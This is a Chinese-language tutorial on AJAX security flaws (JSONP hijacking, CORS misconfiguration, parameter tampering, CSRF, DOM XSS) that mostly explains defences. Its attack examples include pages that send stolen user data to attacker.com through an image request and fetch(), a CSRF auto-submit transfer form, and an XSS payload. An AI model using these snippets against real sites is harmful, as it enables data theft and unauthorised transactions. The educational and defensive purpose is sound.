说到 AJAX 漏洞,很多人第一反应是:“哎呀,那是老黄历了,现在谁还用 jQuery 的 $.ajax 啊?”或者“我有 CSP(内容安全策略),我有 SameSite Cookie,稳如泰山。”
但现实往往很骨感。当你打开浏览器的开发者工具,看着 Network 面板里那些像瀑布一样刷新的 JSON 请求时,你会发现,AJAX 本身并没有错,错的是业务逻辑对跨域资源共享(CORS)的信任过度,以及前端对敏感数据处理的疏忽。今天咱们不聊枯燥的理论,直接钻进代码和流量包里,看看黑客是怎么通过 AJAX 劫持数据、伪造身份,甚至把你当成傀儡的。
一、 隐形的手:JSONP 与 CORS 的信任陷阱
首先,我们要搞清楚两个概念:JSONP 和 CORS。它们都是为了打破浏览器同源策略(Same-Origin Policy)的限制,让前端能拿到后端的数据。但正是这种“信任”,成了攻击者的入口。
1. JSONP:被遗忘的古老后门
JSONP(JSON with Padding)利用的是 <script> 标签不受同源策略限制的特性。后端返回的不是纯 JSON,而是一个函数调用包裹的数据。
正常场景: 前端发起一个请求:
// 前端代码
function handleData(data) {
console.log("收到的数据:", data);
}
var script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleData';
document.body.appendChild(script);
后端返回:
// 后端响应
handleData({"name": "Alice", "balance": 10000});
漏洞点:
如果后端没有严格校验 callback 参数,或者没有校验请求来源(Referer),攻击者可以构造一个恶意页面,诱导受害者访问。更可怕的是,如果后端允许任意回调函数名,攻击者甚至可以注入 XSS 脚本。
实战演示:JSONP 数据劫持
假设有一个内部管理系统,提供用户信息查询接口:
http://internal.corp.com/api/userinfo?id=1001&callback=?
如果这个接口没有做 CSRF 保护,也没有校验 Origin,攻击者可以写一个简单的 HTML 页面:
<!DOCTYPE html>
<html>
<body>
<h1>点击这里领取奖品!</h1>
<script>
// 攻击者定义的恶意回调函数
function stealData(data) {
// 将窃取的数据发送到攻击者的服务器
var img = new Image();
img.src = "http://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data));
}
// 构造请求,指定回调为 stealData
var script = document.createElement('script');
// 假设 id=1001 是管理员的 ID
script.src = "http://internal.corp.com/api/userinfo?id=1001&callback=stealData";
document.body.appendChild(script);
</script>
</body>
</html>
当管理员点击链接时,浏览器会向 internal.corp.com 发送请求。由于是同域或配置宽松,服务器返回数据并执行 stealData(...)。攻击者瞬间拿到了管理员的 ID、姓名甚至权限级别。
2. CORS:配置错误的代价
现代开发更多使用 CORS。CORS 的核心是 HTTP 头:Access-Control-Allow-Origin。
危险配置:
Access-Control-Allow-Origin: *
或者更隐蔽的:
Access-Control-Allow-Origin: https://attacker.com
如果后端允许任意来源访问,且允许携带凭证(Cookie),那么 CSRF 攻击就升级为数据劫持。
实战演示:CORS 泄露敏感数据
很多后端框架默认可能拒绝跨域,但如果开发者为了调试方便,开启了宽泛的 CORS 策略:
// Spring Boot 示例
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOrigins("*") // 致命错误!
.allowCredentials(true); // 允许携带 Cookie
}
}
此时,攻击者构建恶意页面:
fetch('http://bank.com/api/account/balance', {
method: 'GET',
credentials: 'include' // 关键!带上用户的登录态 Cookie
})
.then(response => response.json())
.then(data => {
// 数据已泄露,可以发送到攻击者服务器
fetch('http://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
只要用户登录了银行系统,访问了攻击者的页面,攻击者就能通过 AJAX 读取用户的余额。这不是 XSS,这是基于 CORS 误配置的 CSRF 变种。
二、 中间人的游戏:AJAX 请求重放与篡改
即使没有 CORS 问题,如果 AJAX 请求的参数可以被客户端修改,或者传输过程未加密,攻击者也能从中作梗。
1. 参数篡改:价格修改实验
想象一个电商网站的下单接口:
POST /api/order/create
Body: {"item_id": 1001, "price": 9999, "quantity": 1}
漏洞点: 前端通常从后端获取价格,然后提交。但如果前端逻辑是:
- 显示商品详情(包含价格)。
- 用户点击购买。
- 前端再次请求后端确认价格,或者直接使用前端计算的价格。
更常见的是,攻击者使用 Burp Suite 拦截 AJAX 请求,修改 price 字段为 0.01。
如果后端没有二次校验价格,而是直接相信前端传来的 price,那么恭喜你,1 块钱买了最新款 iPhone。
防御代码示例(Java/Spring):
@PostMapping("/order/create")
public ResponseEntity<?> createOrder(@RequestBody OrderRequest request) {
// ❌ 错误做法:直接使用前端传来的价格
// BigDecimal total = request.getPrice().multiply(request.getQuantity());
// ✅ 正确做法:从数据库重新查询商品价格
Product product = productService.findById(request.getItemId());
if (product == null) {
return ResponseEntity.status(404).body("Product not found");
}
// 校验前端传来的数量是否合理
if (request.getQuantity() > product.getMaxStock()) {
return ResponseEntity.badRequest().body("Insufficient stock");
}
BigDecimal actualPrice = product.getPrice();
BigDecimal total = actualPrice.multiply(new BigDecimal(request.getQuantity()));
// 继续创建订单...
orderService.create(request.getUserId(), product, request.getQuantity(), total);
return ResponseEntity.ok("Order created");
}
2. 身份伪造:CSRF 与 Token 劫持
AJAX 请求通常携带 Cookie 中的 Session ID 或 JWT(JSON Web Token)。如果这些 Token 在传输过程中被窃听,或者页面存在 CSRF 漏洞,攻击者就能冒充用户。
JWT 的陷阱:
很多开发者喜欢用 JWT,因为它无状态。但 JWT 一旦签发,除非过期或被主动注销,否则一直有效。如果 JWT 存储在 localStorage 中,它极易受到 XSS 攻击。如果存储在 HttpOnly Cookie 中,则主要面临 CSRF 风险。
实战:AJAX CSRF 攻击
假设网站使用传统的 Session 认证,且 AJAX 请求自动携带 Cookie。
// 正常的 AJAX 转账请求
$.ajax({
url: '/api/transfer',
type: 'POST',
data: { to: 'attacker_account', amount: 1000 },
success: function(res) { alert('转账成功'); }
});
攻击者页面:
<form id="csrfForm" action="http://victim-bank.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="1000">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
如果后端没有验证 CSRF Token,这个表单提交会被视为合法请求,因为浏览器会自动附带受害者的 Cookie。
防御:双重提交 Cookie 模式
// 前端:从 Cookie 读取 CSRF Token,并放在 Header 中
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
$.ajax({
url: '/api/transfer',
type: 'POST',
headers: {
'X-CSRF-TOKEN': getCookie('csrf_token')
},
data: { to: 'attacker_account', amount: 1000 },
// ...
});
后端验证 X-CSRF-TOKEN 是否与 Cookie 中的 csrf_token 一致。
三、 高级玩法:DOM Based XSS 与 AJAX 渲染
现代前端框架(React, Vue, Angular)大多采用组件化和虚拟 DOM,但这并不意味着安全。如果 AJAX 返回的数据被直接插入到 DOM 中,而未经过转义,就会引发 DOM Based XSS。
案例:URL Hash 劫持
// 后端返回用户昵称
const nickname = data.nickname;
// ❌ 危险操作:直接插入 innerHTML
document.getElementById('profile').innerHTML = `<span>${nickname}</span>`;
// 如果 nickname 是 "<img src=x onerror=alert(1)>"
// 脚本就会被执行
更隐蔽的攻击:AJAX 重定向与历史状态管理
有些应用使用 history.pushState 结合 AJAX 加载内容,实现单页应用(SPA)的无缝切换。
// 模拟 SPA 路由
window.addEventListener('popstate', function(event) {
const path = window.location.pathname;
loadContentViaAjax(path);
});
function loadContentViaAjax(path) {
fetch(`/api/page${path}`)
.then(res => res.text())
.then(html => {
document.body.innerHTML = html; // 再次危险操作!
});
}
如果攻击者能控制 loadContentViaAjax 获取的内容(例如通过 SSRF 或文件包含漏洞读取本地文件,或者利用 CORS 误配置读取其他站点数据),并将其作为 HTML 返回,就能执行任意脚本。
四、 如何构建坚不可摧的防线?
作为专家,我必须强调:没有绝对安全的系统,只有层层递进的防御。 以下是针对 AJAX 漏洞的综合防范策略:
1. 后端:最小权限与严格校验
- 永远不要信任前端数据:价格、权限、角色等敏感信息必须从服务器端数据库或缓存中重新获取,而不是依赖前端传递。
- CORS 配置精细化:
- 避免使用
Access-Control-Allow-Origin: *。 - 明确列出允许的域名白名单。
- 如果允许携带 Cookie,
Access-Control-Allow-Credentials必须为true,且Origin不能为*。
- 避免使用
- 实施 CSRF 保护:
- 对于 AJAX 请求,使用自定义 Header(如
X-CSRF-Token)并验证。 - 或者使用 SameSite Cookie 属性(
SameSite=Strict或Lax)。
- 对于 AJAX 请求,使用自定义 Header(如
2. 前端:安全编码习惯
- 避免 innerHTML:使用
textContent或框架提供的自动转义机制(如 React 的 JSX 自动转义,Vue 的{{ }}语法)。 - 清理 URL 参数:对用户输入的重定向 URL 进行校验,防止开放重定向漏洞。
- 存储安全:
- JWT 等敏感 Token 优先存储在
HttpOnly Cookie中,防止 XSS 窃取。 - 如果需要存储在
localStorage,确保应用本身没有 XSS 漏洞。
- JWT 等敏感 Token 优先存储在
3. 监控与检测
- WAF(Web 应用防火墙):配置规则检测异常的 AJAX 请求模式,如大量的跨域 POST 请求、包含脚本标签的 JSON 响应等。
- 日志审计:记录所有 AJAX 请求的 IP、User-Agent、Referer 和请求体(脱敏后),以便在发生泄露时追踪源头。
- 自动化扫描:定期使用 OWASP ZAP 或 Burp Suite 对应用进行渗透测试,特别关注 CORS 配置和 CSRF 防护。
五、 给小朋友也能听懂的比喻
想象一下,AJAX 就像是你家(前端)和邻居家的商店(后端)之间的秘密传纸条通道。
- CORS 误配置:就像你邻居家的门没锁,还贴了张纸条说“任何人都可以进来拿东西”。结果,街上的坏蛋(攻击者)也溜进去,把你家藏在抽屉里的零花钱(敏感数据)偷走了。
- 价格篡改:就像你想买玩具,坏蛋偷偷改了你手里的价签,从 100 元改成 1 元。如果商店老板不看库存表,只信你手上的价签,你就赚大了,但也害了商店。所以老板必须自己查账本(后端校验)。
- CSRF:就像你正在和朋友玩捉迷藏,坏蛋趁你不注意,在你的衣服上画了个记号,然后骗你的朋友去抓你。其实不是你叫朋友去的,是坏蛋冒用你的名字。所以你要给朋友一个只有你们知道的暗号(CSRF Token),朋友看到暗号才信你。
结语
AJAX 漏洞的本质,往往是信任的错位。我们信任了浏览器的同源策略,却忽略了 CORS 的配置;我们信任了后端的 API,却忽略了参数的完整性;我们信任了前端的安全,却忽视了 XSS 的可能。
在开发过程中,保持“零信任”态度——即不信任任何来自客户端的数据,不信任任何未经验证的请求——才是抵御这些漏洞的最强盾牌。每一次 AJAX 请求的背后,都是一次数据的流动,确保这条流动的水渠干净、可控,才能让我们的应用安然无恙。
希望这篇实战指南能帮你揭开 AJAX 漏洞的神秘面纱,并在你的下一个项目中筑起坚固的防线。记住,安全不是一次性的任务,而是一种持续的思维习惯。